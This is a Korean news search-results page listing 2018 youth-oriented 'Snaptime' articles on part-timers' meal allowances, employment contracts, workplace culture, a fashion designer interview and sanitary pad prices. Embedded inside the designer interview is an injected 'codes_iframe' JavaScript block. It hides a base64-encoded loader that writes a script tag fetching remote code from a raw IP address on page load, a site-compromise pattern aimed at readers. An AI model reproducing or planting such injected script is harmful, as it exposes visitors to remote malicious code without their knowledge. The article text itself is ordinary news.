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뉴스 검색결과 4,250건

  • [스냅타임] 식대지급 의무 아닌가요? “사전 협의해야”
  • (사진=이미지투데이)1년 전 대형 음식점에서 오후 5시에서 11시까지 일했어. 워낙 맛있는 메뉴도 많고, 계속 서있는 서빙 알바니까 배가 항상 고팠어. 여기가 좀 큰 프랜차이즈 음식점이라 난 당연히 밥은 간단하게라도 챙겨줄 줄 알았어. 예상대로 처음엔 밥을 주는 거야. 그땐 큰 곳이라서 이런 기본적인 복지는 잘 돼있구나 싶었어. 그런데 그렇게 알바를 시작한 지 며칠이 지나니까 일주일에 고작해야 두 번? 세 번? 그 정도만 밥을 챙겨주더니 어느 순간부턴 밥을 주지 않더라고. 처음에 밥을 주길래 당연히 식대(식사비)는 보장되는 줄 알았는데 그게 아니었어. 그때는 근로계약서에 식대 관련 조항이 있는지 없는지 확인도 안 하고 계약했고, 계약서도 내 것은 따로 못 받아서 확인하기도 어려웠지. 그냥 왜 안주나, 혼자 끙끙댔지. 이게 맨 처음부터 밥을 안 줬다면 안주는 곳이 구나 했을 텐데 몇 번은 줘놓고 그 다음부터 안 주니까 더 이상했어. 내가 어리고 힘없고 세상 물정 모르는 알바생이라 업신여기는 건가 싶더라고. 아무튼 그 알바는 너무 배고프고 힘들어서 결국 두 달 조금 지나 그만뒀어.최양(22)은 아르바이트를 할 때 식대 지급이 당연하다고 여겨왔다. 알바를 시작하기 전 사인한 근로계약서에도 당연히 식대지급 사항이 포함돼 있을 것이라고 생각했다. 하지만 최양은 근로계약서를 꼼꼼히 살펴보지 않은데다, 본인이 챙겨야할 근로자분 계약서도 가지고 있지 않았다. 게다가 알바하는 친구들 중에서도 식대를 챙겨 받는 이는 거의 없었다. 알바생들은 식대를 지급받아야 마땅한지, 고용노동부 관계자에게 물었다. (사진=픽사베이) Q. 식사를 제공하지 않으면 식대를 제공해야 하는 것 아닌가? A. 단정 지을 순 없다. 회사마다 다르지만 좋은 회사는 식대를 임금으로 지급하는 근로계약을 맺는 경우가 있다. 이 경우 근로계약서에 그렇게 하기로 했기 때문에 식대지급 의무가 발생한다. 하지만 이번 사례는 확인이 되지 않아 지급 의무가 있는 지 알 수가 없다.Q. 이번 사례의 경우 사업주가 법을 위반했다고 볼 수 있는 가? A. 단시간 근로자든, 정규직 근로자든 취업규칙에 따라 지급해야 할 의무가 있으면 계속 줘야한다. 하지만 이번 경우는 알바생이다보니 일종의 호의로 일정부분 밥을 준 것으로 볼 수도 있다. 나중에 식대를 안줬다고 해서 법 위반이라고 판단하기에는 무리가 있다.Q. 식대 지급에 대해 사전 합의를 하던가, 근로계약에 명시가 돼 있었다고 한다면 지급해야 하는 게 맞지 않나? A. 그렇다. 근로계약서를 미리 살펴보고 이의를 제기했으면 식대 미지급과 관련한 오해는 풀 수 있었다.Q. 만약 식대 지급 합의나 근로계약에 관련 조항이 없었다면 사업주가 지급할 의무는 없지 않는가? A. 사업주가 식대를 줘야할 의무가 발생했다고 볼 수 없다.Q. 이런 경우는 알바생도 식대를 달라고 할 수 없는 거 아닌가? A. 알바생 입장에선 법적으로 받아야하는 권리가 없는 것이다. 결과적으로는 달라고 하기 힘들다.Q. 결국 사업주가 안줬다고 단정 지을 수 없는 건가? A. 그렇다.Q. 이번 경우 사업주는 처벌을 받는가? A. 단순히 식대를 안줬다고 해서 법 위반으로 보긴 힘들다. 따라서 사업주 처벌은 어려울 것이다.Q. 식대지급과 관련해 사업주가 법을 위반했을 시 처벌 수위는 어느 정도인가? A. 식대와 관련한 취업규칙을 어겼다면 사업주는 근로기준법에 따라 500만원 이하의 과태료를 내야 한다.Q. 식대지급 관련해서는 사전에 합의를 하는 게 제일 좋은 방법 아닌가? A. 그렇다. 그리고 근로계약서를 유심히 살펴볼 필요가 있다. 예를 들어 식대를 지급한다면 관련사항을 기재해야 하는데, 만약 없다고 하면 그건 미지급을 의미한다. 꼭 식대를 미지급한다고 써야하는 것은 아니기 때문. 따라서 어떤 비용의 지급 여부를 근로계약서에 쓰지 않았다고 한다면, 계약상 지급하지 않겠다고 보는 것이라는 점을 알바생들은 명심해야 한다.
2018.07.08 I 박태진 기자
  • [스냅타임] [사연을 넘기다]“가만히 있으면 불안해”
  • 여기부터는 카드뉴스로 보여드립니다. 아무 것도 안 하면 불안해지는 병공강 시간에도, 방학에도 늘 무언가를 해야 한다는 알 수 없는 강박관념이 들어요.괜히 불안해서 억지로 이것저것 하다보니 결국?별 성과도 없지만무언가를 하는 시간이 내 자존감을 채워준다고 생각해 끊임없이 나를 몰아세워요.하지만 바쁘게 보낸 시간을 돌이켜보면 정작 남은 게 없더라고요.내가 잘못 산 건가 싶어 괴로워졌을 때 [그럼에도, 나를 사랑한다]라는 책을 만났습니다. 이 책에서는 이런 이야기를 합니다.<우리 사회는 공백을 허용하지 않는다. 아무 것도 안 한 시간은 무가치한 시간으로 여겨진다.우리는 아주 어릴 때부터 어떤 행위를 해야 칭찬을 받는 조건적인 사랑에 길들여져 왔고,행위를 해야만 자신이 가치 있다고 믿게 됐다.그래서 우리는 무엇이 되어야만 하고, 무엇을 해야만 한다고 끊임없이 자신을 다그친다.오로지 무가치한 인간이 되지 않기 위해 공백을 메워야만 하는 사회,여기에 내 느낌, 내 감정이 끼어들 여지는 없다. '진짜 나'는 뒷전으로 밀려난 것이다.자신의 가치를 외부 조건이나 행위에서 찾는 것은 인간을 불행하게 만든다.자신의 내면에서 가치를 찾지 못하면, 끝내 고리를 끊을 수 없는 고통이 반복된다.>어떤 경우에도 나를 사랑할 수 있는가? 내가 가장 무능하고, 내가 가장 아름답지 않고, 내가 가장 초라할 때도 나를 사랑할 수 있는가?저자는 이 불가능하고 터무니없어 보이는 질문에 끊임없이 문을 두드릴 때, '아무것도 안 하면 안된다'며 인생을 가로막던 무의미와 결핍감이 해소될 수 있다고 말해줍니다.잠시도 쉬지 못한 저에게 무언가 꼭 해야 한다는 압박감에서 벗어나라고 다독이더군요.공백이 무서워 진짜 나를 사랑하지 못했던 과거에서 이제는 벗어나보려 합니다.
2018.07.08 I 박새롬 기자
  • [스냅타임] ‘액자의 힘’… 내 집이 달라졌어요
  • 누구나 할 수 있는 셀프인테리어 3탄. 액자로 거실 꾸미기.이번엔 집안 분위기를 간편하게 바꿀 수 있다는 아이템인 액자를 선택했다. (사진=이미지투데이)액자는 자취생은 물론 직장인도 쉽게 꾸밀 수 있다는 데 장점이 있다. 새 벽지로 집안 전체 분위기를 바꿀 수도 있지만 시간과 품이 많이 든다. 셀프인테리어들은 액자를 적극적으로 추천했다.?또 벽이 깔끔하다고 해도 왠지 휑하게 느껴질 때에도 액자는 귀중한 아이템이다.?그림 액자의 시세는 통상 수십만원대에 이르지만 인터넷 등을 통해서 1만원부터 6만~7만원대 제품도 구입이 가능하다.?지인으로부터 선물로 받은 2개의 그림 액자를 활용해봤다.이전 세입자가 남기고 간 흔적들을 활용해보기로 했다. 벽면에 그대로 박혀 있는 못들이다.?액자의 위치 등을 생각해 박힌 못의 위치가 좋지 않다면 뽑아 마음에 드는 곳에 박는다. 이때 못은 벽면에 따라 정할 수 있다. 합판소재로 돼 있다면 드릴 못, 콘크리트로 돼 있다면 콘크리트 못을 사용하는 것이 좋다. (사진=스냅타임)우선 소파가 있는 거실 벽면을 꾸며보기로 했다. 벽지는 붉은색이다. 받은 그림 액자 중 전체적으로 흰색바탕 계열의 액자를 걸어보기로 했다. 기존에 박혀있던 못을 이용해... (사진=스냅타임)소파만 덩그러니 있던 거실 한쪽 벽면이 그림 액자가 들어서자 뭔가 있어 보이는 분위기가 연출됐다. 물론 기존에 벽면에 있던 얼룩들도 감쪽같이 감추는 효과도 봤다. (사진=스냅타임)이번엔 반대쪽 벽면을 꾸밀 차례!반대쪽은 흰색바탕의 동그라미 모양의 줄무늬가 있는 벽지다. 이 벽면엔 새로 못을 박았다. 그리고 색채감이 있는 그림 액자를 걸어봤다.? (사진=스냅타임)TV와 흰색계열의 서랍장만 있어 상대적으로 아무것도 없던 거실 벽면 위쪽.?하지만 액자로 인해 균형감을 갖춘 모습이다. (사진=스냅타임)물론 이전 세입자가 남긴 TV 벽걸이 거치대 흔적이 남아 있긴 하지만...나름 만족.?액자 하나로 거실 분위기가 이렇게 달라질 수 있다는 걸 새삼 깨달았다. (사진=스냅타임)그리고 덤으로 액자를 걸기 힘들다면 벽걸이 걸개를 이용해보는 방법도 있다.방 안쪽 벽에 걸려 있던 시계를 치우고, 걸개를 걸어봤다. 공간이 비어있다는 느낌을 보완할 수 있다. 벽걸이 걸개를 걸기 전(왼쪽)과 후의 모습.(사진=스냅타임)*솔직후기: 세 들어 사는 자취방을 꾸미는 일은 쉽지 않다. ㅜ.ㅜ도배를 새로 하려면 비용이 만만찮고, 시간도 많이 들기 때문.?그렇다면 벽을 액자로 꾸며보길 바란다. 자신이 좋아하는 그림 및 사진을 사서라도...셀프인테리어들의 조언처럼 ‘액자의 힘’을 믿어보시길~
2018.07.06 I 박태진 기자
  • [스냅타임] 패션계 직진남 고태용 "남들 안 가본 길 꿈꿔"
  • 좀 노는 오빠, 힙한 셀럽. 올해로 론칭 11주년인 디자이너 브랜드 '비욘드클로젯(beyondcloset)'의 대표, 고태용의 첫인상이었다. 만나자마자 쇼룸 한가운데 있는 탈의실에서 옷을 갈아입고 소파에 털썩 앉았다. 그는 누구보다 거침없고 당당했다.미술을 배운 적도 없고 그 흔한 해외 유학 한 번 가지 않았다. 심지어 뒤늦게 의상학과로 편입해 26살에서야 디자이너가 되기로 했다. 그리고 1년 뒤 그는 서울컬렉션 최연소 데뷔 디자이너가 됐다. 얼마 지나지 않아 그가 만든 티셔츠는 디자이너 브랜드 최초로 밀리언셀러가 됐다. 지금은 '핫함'을 넘어서 '걸어 다니는 브랜드'가 된 고태용 디자이너를 직접 만나봤다. (사진=스냅타임) 남들보다 늦은 시작, 남다른 시작지금은 이름 석 자만으로 브랜드 가치가 있는 유명 디자이너지만 고태용은 대학생 때까지만 해도 평범한 인생을 살리라 생각했다. 졸업할 때쯤 되면 적당한 회사에 들어가 직장 생활을 하고, 가정도 꾸리며 살지 않을까 생각했다. 옷은 원래 좋아하긴 했지만 디자이너가 될 생각은 없었다. 그러다 26살에 대학 레포트 과제 때문에 서울패션위크를 보러 갔다. 맨 뒤에서 발꿈치를 들고 구경하던 그는 피날레에 등장하는 디자이너의 모습에 마음을 뺏겼다. 옷을 통해 사람들과 소통하는 모습이 멋있어 보였다. "누군가를 보고 미치도록 저런 사람이 되고 싶다는 생각을 처음 했어요."한번 꽂히면 앞뒤 가리지 않는 추진력은 그때부터 남달랐다. 직원이 두 명 뿐인 작은 인터넷 쇼핑몰에서 일하며 대중의 니즈를 파악하는 연습을 했다. 물건을 사입해서 팔기도, 직접 제작해 팔기도 하며 경험을 쌓았다. '내 브랜드를 만들고 싶다'는 열망은 점점 더 커졌다. 그렇게 모은 돈 1000만원으로 방 한구석에서 비욘드클로젯이라는 브랜드를 만들어냈다. 처음 6개월은 집에서 혼자 시작, 이후 서울 강남구 신사동의 월세 45만원짜리 조그만 사무실로 옮겼다. 1년 뒤 그는 27살에 최연소로 서울컬렉션에 데뷔했다.당시(2008년)만 해도 디자이너 브랜드라 하면 고급스러운 이미지와 무게감이 중요했다. 디자이너의 옷은 '현실감 없고 소화하기 어려운 비싼 옷'이라는 인식이 강했다. 고태용은 틀을 모두 깨버렸다. 디자이너 브랜드 최초로 상업용 세컨드레이블을 만들었고, 누구나 입기 쉬운 티셔츠를 내놨다. 곧이어 디자이너 브랜드 최초로 밀리언셀러 판매도 달성했다. 디자이너 브랜드 옷은 가격이 비싸고 입기 어려운 옷이라는 편견을 없앤 것이다. (사진=스냅타임) 파격을 두려워하지 않는 남자데뷔부터 남달랐던 그는 이후 11년 간의 행보도 다른 디자이너들과는 달랐다. 그들만의 세계에서 소위 불문율이라고 여겨지는 관습도 아랑곳하지 않고 파격적인 시도를 꾸준히 해왔다. 홈쇼핑 진출도 그 중 하나다. 그가 홈쇼핑에 처음 진출하려고 할 때 주변에서 "디자이너는 그런 거 하는 거 아니다"라며 모두가 말렸다. 홈쇼핑은 싼 제품을 파는 채널이라는 인식 때문이다. 고태용은 기존 홈쇼핑의 포맷에서 벗어나 유명 스타일리스트와 협업해 디자이너 브랜드의 전문성을 살렸다."전 그때도 시대가 많이 바뀌었다고 생각했어요. 옷을 어디서 파느냐는 중요하지 않다고 생각했죠. 어떻게 파느냐가 중요한 거예요."고태용은 CJ오쇼핑과 6년 째 계약을 이어오고 있다. 지난해에는 셀렙샵과 협업해 내놓은 '슈퍼주니어 롱패딩'이 화제 속에 완판되기도 했다.국내 최초로 '프레젠테이션 패션쇼'을 도입하기도 했다. 기존 패션쇼와 달리 모델들은 서 있고 사람들이 돌아다니며 옷을 보는 방식이다. 뉴욕 패션쇼에서는 핫한 방식이었지만 결과는 실패였다. 전문가와 바이어들이 주 관중인 뉴욕과 달리 서울 패션쇼에는 학생들도 많이 오는데, 학생들이 옷보다 모델에 관심을 두고 그 앞을 떠나지 않았던 것이다. 실패했지만 그는 뿌듯했다. 국내에서 아무도 안 해본 걸 시도해봤다는 경험 자체가 그에겐 더 중요했다. 탄탄대로만 걸은 것 같다고? 모르는 소리남들보다 늦게 시작해 단숨에 정상까지 올라간 고태용을 '실패를 모르는 남자'로 보는 이들도 많다. 하지만 그 역시 수없이 실패해봤다. 대학생 때 각종 공모전에서 숱하게 떨어졌고 오디션 프로그램도 1회만에 탈락했다. 대학생 때 잠깐 한 인턴은 허드렛일이 일상이었다. 처음 원단을 떼러 동대문 시장에 갔을 때는 어리바리한 모습에 상인들로부터 무시당하기 일쑤였다.하지만 숱하게 실패하면서도 '난 안되는구나'라고 생각해본 적은 단 한 번도 없었다. 떨어진 데는 다 나름의 이유가 있었고 실패는 성공하기 위한 과정일 뿐이라 생각했다."난 분명히 잘 될 거라는 확신이 늘 있었어요. 재수없다 느끼실 수도 있는데요, 전 틀림없이 유명해질 것 같았어요."그는 디자이너를 꿈꾸기 시작한 순간부터 스스로가 꼭 성공할 거라는 믿음이 있었다. 특별한 이유는 없고, 그냥 열심히 사는 나 자신을 믿었다. 실패를 두려워하지 않는 자신감이 데뷔 이후로도 그가 남다른 길을 갈 수 있던 이유다."분명히 힘든 과정도 있었겠지만, 힘든 것보다 설레고 즐거운 게 훨씬 더 컸어요. 지금 잘 돼서 당시 기억을 미화하는 게 아니에요. 정말 저는 힘들다고 느낀 기억이 거의 없어요."스물여섯, 인맥도 스펙도 없던 그에게 시작하기가 어렵지 않았냐고 물었더니 "그걸 넘어설 만큼 즐겁고 설?다"고 강조했다. 한달에 10만원, 20만원밖에 못 벌고 일주일 동안 두세 시간밖에 못 잤지만 그는 즐거웠다. 고태용은 "요즘 20대들이 힘든 걸 넘어설 만큼 즐거운 일을 찾았으면 좋겠다"고 말했다. (사진=스냅타임) 20대, 부지런히 모든 걸 흡수해라"난 희망고문은 안 해요. 안 될 애들은 안 되거든요. 될 사람만 되는데, 부지런하면 성공해요. 누구나 할 수 있는 얘기라 생각하겠지만 세상에 생각보다 부지런한 사람 그렇게 많지 않아요. 정말이에요." 힘들게 하루를 버텨가는 20대에게 조언을 부탁했더니 그는 이렇게 대답했다. "정말, 정말"이라며 몇 번씩이나 강조했다. 그는 디자이너를 처음 준비할때 1년 동안 하루에 3시간 이상 자본적이 없다. 8년 동안 매일 인천에서 신사동 사무실까지 칼같이 출퇴근 했다. 그동안 회사에 안 나온 적도 한 번도 없다. "패션쇼가 끝나면 사람들이 다음날 뭐할 거냐고 물어요. 전 똑같이 출근해서 일해요. 다른 디자이너들 여행가고 그럴 때 난 다음날 일어나서 똑같이 나와서 일했어요."그는 사람들은 본인을 '놀기 좋아하는 날라리'로 보지만 스스로를 '누구보다 열심히 사는 사람'으로 표현했다."20대에게 가리지 말고 모든 걸 다 흡수해보라고 말해주고 싶어요. 저는 그렇거든요. 싸구려 음식, 저급한 영화부터 굉장히 고급스러운 럭셔리 음식, 영화까지 다 즐겨요."<!--/codes_iframe--> 비욘드클로젯 로고(이미지=비욘드클로젯 홈페이지) 국내 디자이너로서 정상까지 올라간 데다 더이상 받을 상도 높일 업적도 없는 그에게 새로운 목표가 있는지 물어봤다.이미 11년간 남들이 하지 않은 도전을 해온 그는 앞으로도 남들과 다른 길을 걷고 싶다고 말했다.<!--/codes_iframe-->"이런 디자이너도 있구나, 라는 얘기가 나오는 새로운 롤모델이 되고 싶어요. 패션 디자이너가 이런 것까지 가능하구나, 라는 얘기가 나오는 사람이요." <!--codes_iframe--> {var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
2018.07.06 I 박새롬 기자
  • [스냅타임] 신입사원의 기대와 현실…그 속사정은
  • 신입 사원 30%가 바늘구멍을 뚫고 입사한 지 1년 만에 퇴사하는 시대. 높은 연봉보다 워라밸을 중요시하는 시대. 누구나 선망하는 꿈의 회사에 들어가도 정말 그럴까.대기업 신입사원에게 회사의 ‘속사정’을 물어봤다. 지난 3일 신세계인터내셔날 MD로 입사한 지 1년차인 이성민(28·가명)씨를 만났다.서울 강남구 청담동 명품거리 한복판에 있는 '신세계인터내셔날'에 가려면 분당선 압구정로데오역에서 내려야 한다. 하이엔드 브랜드 편집샵을 지나다 보니 회사 앞에 도착했다. 퇴사한 직원도 돌아온다는(?) 구내식당 오전 11시 50분. 점심시간에 맞춰 내려온 성민씨가 잽싸게 구내식당으로 데려갔다. 근무시간 단축에 따른 조급함마저 느껴졌다.기업 후기 사이트에 유독 구내식당이 좋다는 후기가 많았는데, 과연 그랬다. 넓고 깨끗하고, 캐주얼한 분위기의 레스토랑을 연상케 했다. 4:49 time. 사내 곳곳에 이런 포스터가 붙어 있었다. 신입사원과의 식사는 편안하지 않았다. 회사 이야기를 하려면 회사 선배가 인사를 건넸다. 결국 조용한 곳에서 얘기 좀 하자며 점심시간 25분을 남겨 놓은 채 카페가 있는 라운지로 이동했다. 카페와 라운지도 넓고 쾌적했다. 음료 가격은 1000원부터 최대 2500원까지였고 다양한 형태의 쉴 공간이 마련돼 있다. 우리는 가장 구석진 자리에서 대화를 나눴다. 화려한 해외 출장 꿈꾸며 입사…현실은?"화려하잖아요. 가장 재밌어 보였어요." 성민씨가 지금 회사에 온 가장 큰 이유다. 평소 패션 분야에 관심도 많았다.성민씨의 직무인 '바잉MD'가 공식적으로 하는 업무는 외국 브랜드 상품을 본사에서 직접 바잉(buying)해와서 국내 유통망으로 분배해 판매하는 일이다. 바잉MD가 된 모습을 상상했을 때 유럽으로 출장을 가 런웨이를 보고 물건을 발주하는 화려한 모습이 가장 먼저 그려졌다. 패션이라는 관심사와 유쾌한 성격과도 잘 맞아 즐기면서 일할 수 있을 것 같았다.3년차 이상은 돼야?해외 출장을 나갈 수 있어 지금 성민씨는 본사에서 경험을 쌓고 있다."MD가 '뭐든지 다 한다'의 줄임말이라고도 하잖아요."신입 MD는 매달 들어오는 수입물량 통관 업무, 송금, 인력구인, 상품 배분, 행사진행, 재고관리까지 할 일이 매우 많다. 드라마 '밥 잘 사주는 예쁜 누나'의 손예진처럼 영업장을 찾아가 매장과 점주를 관리하는 것도 성민씨의 역할이다. 9 to 5는 최고의 장점성민씨가 꼽은 회사 최고의 장점은 출퇴근 시간이다. 일이 익숙하지 않던 입사 초반에는 늦게까지 남아 일해본 적도 있지만 지금은?달라졌다. 9 to 5으로 바뀐 출퇴근 시간은 누구나 부러워하는 장점이다. 연봉도 좋은 편이다. 4000만원대 이상이다.계열사 할인도 유용하다. 직원들은 신세계백화점에서 20%, 이마트 10~20%씩 할인받는다. 특히 스타벅스 커피 30% 할인은 직원들 사이에서 가장 만족도가 높다. 스타벅스에서는 임직원 뿐 아니라 배우자까지 커피 할인 혜택을 준다. 입사 전 상상하던 분위기(위)와 실제 분위기(아래) 분위기는 기대와 조금 달랐다. 그는 신입사원 첫 출근 날을 생생히 기억한다. 떨리는 마음으로 부서에 들어와 큰소리로 인사를 했지만 돌아온 건 침묵이었다."첫날 인사를 했는데 아무도 반응을 안 해주셔서 무안했어요. 다들 그냥 한 번 쓱 쳐다보고 하던 일 계속하시는 분위기였죠."해외 브랜드를 다루는 패션회사라는 이미지 때문에 젊고 자유로운 분위기를 상상했지만 그렇지는 않았던 것."팀마다 브랜드를 하나씩 맡는 구조예요. 각 팀에 보통 3~4명이라 다른 팀끼리는 아예 안 친해요." 직원들끼리 서로 너무 안 친한 분위기도 의외였다. 다른 팀 사람들과는 거의 친해질 기회가 없다. 상상했던 회사 분위기와는 좀 달랐다고 성민씨는 털어놨다. 화려하고 고급스러웠던 신세계 인터내셔날. 패션회사답게 개성 넘치고 화려한 직원들의 복장에 눈이 화려했다가도, 신입사원으로서 회사를 돌아보니 마냥 자유롭지만은 않았다. 학생 때는 자타공인 '또라이'라 불렸다는 성민씨도 회사 안에서는 언제 어디서나 상사를 마주칠지 몰라 긴장한 한 명의 '신입사원'이었다.성민씨에게 ‘신입사원이 되어 가장 행복했던 순간’을 물으니 첫 번째는 합격소식을 들은 순간, 두 번째는 동기들과 인턴으로 일할 때라고 말했다.“공식 입사 전, 인턴으로 3개월 정도 일했는데 그 때 참 재밌었어요.”당시 사회생활에 대한 압박은 없는데다, 회사에 대한 기대감과 설렘으로 행복했던 성민씨는 이제는 회사의 확실한 장점(연봉, 출퇴근 시간)에는 만족하고, 바꾸기 힘든 부분(빡빡한 업무)은 받아들이기로 했다. 입사 13개월 차 성민씨는 12시 47분이 되자 "계단으로 빨리 올라가야 한다"며 급히 떠났다.
2018.07.05 I 박새롬 기자
  • [스냅타임] 국내 생리대, 해외 생리대보다 비쌀까?
  • 툭하면 논란의 중심에 서는 생리대. 지난 2016년에는 깔창 생리대 사건으로, 지난 해에는 발암 생리대 로 도마 위에 올랐습니다. 최근에는 생리대의 가격이 문제가 돼 공정거래위원회에 제소됐는데요.?국내 생리대 가격이 너무 비싸다는 소비자들의 불만은 언제나 끊이질 않습니다. 정말 국내 생리대 가격은 해외 생리대보다 높은 수준일까요.?김상조 공정거래위원장은 “제품이 다양해 비교하기 쉽지는 않지만 일반적으로 국내산 가격이 비싼 것으로 알려져 있다”고 밝혔습니다. 국산 생리대 1개의 평균 가격은 331원으로 일본·미국(181원), 프랑스(218원) 등보다 비싼 것으로 조사됐습니다. (자료: 서영교 더불어민주당 의원실) 심지어 유한킴벌리 일부 프리미엄 제품의 한 개당 판매 가격은 최대 510원에 달합니다. (자료: 김승희 자유한국당 의원실) 물론 제조단가, 품질, 브랜드 등의 요소를 같은 기준에서 비교하기란 쉽지 않으므로 더 정밀한 조사가 필요해 보입니다. 하지만 해외 상품과의 비교뿐만 아니라 높은 수준의 가격 상승도 무시할 수 없어 보입니다.?유한킴벌리 제품은 지난 2012년보다 2016년에 19.3% 올랐고, P&G 제품 또한 2011년보다 10.6% 상승했습니다.(자료: 김승희 자유한국당 의원실) 같은 기간(2012년~2015년) 동안 소비자 물가 지수는 5.6% 상승한 데 반해 생리대의 가격 상승은 훨씬 높았습니다. 생리대는 여성이라면 누구나 40여 년 동안 사용해야 하는 필수 제품입니다.?해외에서는 생리대를 공공재로 바라보는 인식이 확산되고 있습니다. 생리대가 무상으로 지급되고, 탐폰세가 폐지되고 있습니다. 우리나라에서도 생리대를 기타 제조품과 같은 선상이 아닌 생활필수품으로 바라보는 관점의 변화가 필요한 시점입니다.
2018.07.04 I 강의령 기자
  • [스냅타임] 꼰대 사용설명서 - "생각을 말해봐요"
  • 27살 사회 초년생 시절 임선근(가명·35)씨는 광고 시안을 두고 상사가 "어떤 것이 좋은지 자유롭게 말해봐요"라고 물었을 때가 생생하다. 꼰대의 특성에 대해 조금도 몰랐던 그 시절."선근씨 생각은 어때요? 나는 A안이 좋은 것 같은데 젊은 사람들은 어떻게 생각하는지 궁금하네요." (이미지=이미지투데이)"이건 어때요? 선근씨 생각을 자유롭게 말해봐요"상사의 손가락은 A안을 가리키고 있었고 A안 설명을 B안 보다 길게 했다. 선근씨는 잠시 망설여졌다. 그는 ‘상사는 A안을 좋아하는 것 같아. 하지만 이번엔 젊은 감각을 알려 달라 했으니 젊은 감각을 말해도 되지 않을까?' 라는 생각에 B안을 꼽았다.“제가 보기에는 A안보다는 B안이 좋아 보이는데요?” 그의 대답이 떨어지고 난 뒤 상사는 "그래요. 알았어요"라고 말했다.하지만 잠시 후 상사는 "보고서 누가 이렇게 뒤죽박죽 던져 놓으라고 했어? 이러니까 제대로 못 찾지"라고 돌연 반말로 소리를 지르기 시작했다.오전 내내 영문도 모르는 고함에 시달리고 점심시간이 되자 한 숨을 돌릴 수 있을 때에 비로소 '아뿔싸' 깨달음이 밀려온 선근씨. 광고 시안이 A안으로 올라간 것을 확인한 뒤였다. (이미지=이미지투데이)9년의 세월이 흘러 어느덧 후배들과 밥 먹을 때면 "선배도 젊은 꼰대 아녜요?" 라는 소리를 듣기도 한다는 선근씨. 그는 9년을 정글 같은 직장에서 버티면서 '꼰대 사용 설명서'를 완성했다.선근씨의 '꼰대 사용 설명서'에 따르면 꼰대들의 "이건 어때? ~씨 생각을 자유롭게 말해보세요"를 해석해보면 이렇다."내 생각이 맞다고 동조해줄래?"선근씨가 시행착오를 겪으며 마련한 '꼰대 사용 설명서'의 정답은 이렇다.상사님의 말씀처럼 A안이 더 나아보입니다 (사진=이미지투데이)상사가 자기 생각을 밝히지 않고 "이것 어떻게 생각해?"라고 물었다면 선근씨는 이제 이렇게 대처한다."제가 뭘 아나요. 상사님은 어떻게 보시는 지 궁금합니다."9년 동안 다양한 상사를 겪으면서 문제가 생겼을 때 선근씨는 자기 책임을 회피하려는 꼰대도 만났단다. 그는 "문제가 생기면 '너도 내 의견에 동조했었잖아'라고 물고 늘어질 수도 있기 때문에 상사의 의견에 찬성만 하지 않았다는 것을 분명히 할 필요도 있다"고 말한다.이럴 때 선근씨가 사용하는 스킬은 '존중의 스킬'이다. 일단 상사의 의견에 동조의 뜻을 밝히고 시작해야 한다."제가 조금 찾아보고 지인들에게 물어보니 상사님의 A안이 대세이긴 한데 B안도 괜찮다네요."시간을 두고 과장님의 의견을 찬찬히 둘러보니 상사님의 의견도 좋지만 내 의견도 좋지 않나요? 라고 공손히 제안하라는 것이다. 선근씨의 '꼰대 사용 설명서'에 따르면꼰대의 공격이 들어와도 이것만 명심하면 된다1.동조하라2.시간이 지난후 동조를 바탕으로 당신의 의견을 전달하라
2018.07.04 I 한정선 기자
  • [스냅타임] 휴게·근로시간 명확히? 근로계약서 꼭 써야
  • 강혜영(22·가명)씨는 지난해 열린 한 전시회에서 가이드로 한 달 간 일을 했지만 임금을 받지 못했다. 전전긍긍하던 강씨는 올해 초 고용노동청에 신고를 하면서 체불된 임금을 돌려받을 수 있었다. 박희진(22·가명)씨는 올해 초 프랜차이즈 식당에서 아르바이트를 했지만, 점주가 쉬는 시간을 단 10분도 주지 않았다. 결국 박씨는 두 달을 버티지 못하고 알바를 그만뒀다. (이미지=이미지투데이) 이처럼 청년을 고용하는 사업장 중 다수가 임금을 제때 주지 않거나 휴게시간을 명확히 하지 않는 것으로 나타났다. 두 사업장은 근로계약서를 작성하지 않거나 계약서에 근로시간 등 근로조건을 누락한 것으로 파악됐다. 이러한 노동법규 위반에 따른 피해는 고스란히 알바생에게 돌아간다. 이에 알바생은 근로계약서를 반드시 작성하고 확인하는 습관을 가져야 한다고 고용노동부 소속 근로감독관들은 조언한다. 근로계약서가 알바생에게 왜 중요한지 고용부 관계자와 일문일답으로 풀어봤다. -근로계약서를 작성하는 것은 필수 사항인가. △그렇다. 법률적으로 의무사항이다. -왜 근로계약서를 작성해야 하는가. △근로계약서를 작성하면 임금과 근무시간, 휴게시간 등을 명확히 할 수 있다. 이는 사업주와 노동자(알바생)간 발생할 수 있는 분쟁을 예방할 수 있는 효과도 있다. 또 노동자의 권익도 보호한다. -사업주가 근로계약서를 쓰자고 제안하지 않을 경우 어떻게 대처해야 하는가. △알바생이 근로계약시 계약서를 작성하자고 반드시 제안해야 한다. -근로계약서를 쓰지 않으면 위법행위인가. △그렇다. 처벌조항도 있다. 근로조건을 명시토록 하는 근로기준법(제17조) 위반이다. -사업주는 근로계약서 미작성시 어떤 처벌을 받는가. △500만원 이하의 벌금을 내야한다. -근로계약서를 쓰는 데 따른 장점은. △임금체불 판단, 근로 및 휴게시간 명확화를 확인할 수 있다. -근로계약서 작성 활성화를 위해 정부는 어떤 노력을 하고 있는가? △우선 대학생 등 청년 알바생에게 근로계약서를 꼭 작성해야 한다고 홍보를 하고 있다.?또 예방사업의 하나로 ‘청소년지킴이’와 ‘청소년근로권익센터’도 운영 중이다. 특히 정부는 근로감독관들의 일손이 부족함에 따라 청소년 노동자 중 한명을 청소년지킴이로 채용해 홍보활동은 물론 관련 홍보책자도 배포하도록 하고 있다. (사진=이미지투데이)
2018.07.03 I 박태진 기자
